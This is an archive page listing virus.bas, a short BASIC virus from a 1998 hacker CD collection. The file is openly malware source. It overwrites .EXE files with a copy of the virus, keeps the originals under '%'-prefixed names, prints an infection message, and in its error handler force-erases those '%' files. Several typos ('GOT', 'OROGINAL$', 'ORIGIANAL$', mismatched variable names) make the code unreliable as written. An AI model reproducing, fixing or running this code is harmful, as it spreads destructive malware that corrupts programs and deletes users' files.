home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / virus.bas < prev    next >
Encoding:
BASIC Source File  |  2003-06-11  |  1.2 KB  |  47 lines
  1. 1 REM *** Remember to use /e parameter when compiling.
  2. 50 ON ERROR GOTO 670
  3. 90 LENGHTVIR=2641
  4. 100 VIRROOT$="BV3.EXE"
  5. 130 SHELL "DIR *.EXE>INH"
  6. 150 OPEN "R",1,"INH",32000 
  7. 160 GET #1,1
  8. 170 LINE INPUT#1,ORIGINAL$
  9. 180 LINE INPUT#1,ORIGINAL$
  10. 190 LINE INPUT#1,ORIGINAL$
  11. 200 LINE INPUT#1,ORIGINAL$  
  12. 210 ON ERROR GOT 670
  13. 220 CLOSE#2
  14. 230 F=1:LINE INPUT#1,ORIGINAL$
  15. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
  16. 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
  17. 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
  18. 300 MID$(EXTENSIONS$,1,1)="."
  19. 320 F=F+1
  20. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN      
  21. GOTO 350
  22. 340 GOTO 320
  23. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
  24. 360 ON ERROR GOTO 210
  25. 365 TEST$=""
  26. 380 OPEN "R",2,OROGINAL$,LENGHTVIR
  27. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
  28. 400 GET #2,2
  29. 410 LINE INPUT#1,TEST$
  30. 420 CLOSE#2
  31. 470 CLOSE#1
  32. 480 ORIGINALS$=ORIGINAL$
  33. 490 MID$(ORIGINALS$,1,1)="%"
  34. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
  35. 520 SHELL C$
  36. 540 C$="COPY "+VIRROOT$+ORIGINAL$
  37. 550 SHELL C$
  38. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
  39. 580 WRITE#1,ORIGINALS$
  40. 590 CLOSE#1
  41. 640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
  42. 650 SYSTEM
  43. 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
  44. 675 SHELL "ECHO Y|ERASE %*.*"
  45. 680 END
  46.  
  47.